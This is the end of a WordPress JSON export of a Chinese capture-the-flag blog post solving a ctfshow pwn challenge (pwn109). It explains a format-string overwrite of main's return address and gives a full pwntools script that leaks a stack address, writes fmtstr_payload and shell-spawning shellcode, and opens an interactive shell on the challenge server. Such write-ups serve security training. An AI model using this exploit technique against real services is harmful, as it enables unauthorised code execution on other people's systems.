              \u518d\u6b21\u9009\u62e9\u9009\u98791\uff08Input something\uff09\uff0c\u8fd9\u6b21\u6211\u4eec\u5199\u5165shellcode\uff08asm(shellcraft.sh())<\/code>\uff09\u3002\u8fd9\u6b21\u5199\u5165\u7684shellcode\u4f1a\u8986\u76d6\u4e4b\u524d\u5199\u5165\u7684payload\uff0c\u4f46\u662f\u56e0\u4e3a\u6211\u4eec\u5df2\u7ecf\u5c06\u8fd4\u56de\u5730\u5740\u4fee\u6539\u4e3abuf\u7684\u8d77\u59cb\u5730\u5740\uff0c\u800c\u8fd9\u6b21\u5199\u5165\u7684shellcode\u4e5f\u662f\u4ecebuf\u8d77\u59cb\u5730\u5740\u5f00\u59cb\u5199\u5165\uff0c\u6240\u4ee5\u5f53main\u51fd\u6570\u8fd4\u56de\u65f6\uff0c\u5c31\u4f1a\u6267\u884c\u8fd9\u6bb5shellcode\u3002<\/p>\n\n\n\n
              \u6700\u540e\u9009\u62e9\u9009\u98793\uff08Quit\uff09\u9000\u51famain\u51fd\u6570\uff0c\u89e6\u53d1\u8fd4\u56de\uff0c\u6267\u884cshellcode<\/p>\n\n\n\n
              from pwn import *\ncontext.log_level = 'debug'\n#io = process('.\/pwn109')\nio = remote('pwn.challenge.ctf.show',28238)\nio.sendlineafter('Quit!!!\\n', '1')\nstack = int(io.recvuntil('\\n'), 16)\nret = stack + 0x41c\npayload = fmtstr_payload(16, {ret: stack})\nio.sendline(payload)\nio.sendlineafter('Quit!!!\\n', '2')\nio.sendlineafter('Quit!!!\\n', '1')\nio.sendline(asm(shellcraft.sh()))\nio.sendlineafter('Quit!!!\\n', '3')\nio.interactive()<\/code><\/pre>\n","protected":false},"excerpt":{"rendered":"
              pwn101\uff08\u6574\u6570\u8f6c\u6362\u3001\u6574\u6570\u6bd4\u8f83\uff09 \u6ca1\u5565\u4e1c\u897f\uff0cmain\u51fd\u6570\u8981\u6c42\u8f93\u5165\u5bf9\u5e94\u503c\uff0c\u76f4\u63a5\u4ea4\u4e92\u5c31\u597d\u4e86 v4\u662f\u4e2a\u65e0\u7b26\u53f7\u6570\uff0cv […]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[],"class_list":["post-444","post","type-post","status-publish","format-standard","hentry","category-ctf"],"_links":{"self":[{"href":"https:\/\/www.okabe.xin\/wordpress\/index.php?rest_route=\/wp\/v2\/posts\/444","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.okabe.xin\/wordpress\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.okabe.xin\/wordpress\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.okabe.xin\/wordpress\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.okabe.xin\/wordpress\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=444"}],"version-history":[{"count":0,"href":"https:\/\/www.okabe.xin\/wordpress\/index.php?rest_route=\/wp\/v2\/posts\/444\/revisions"}],"wp:attachment":[{"href":"https:\/\/www.okabe.xin\/wordpress\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=444"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.okabe.xin\/wordpress\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=444"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.okabe.xin\/wordpress\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=444"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}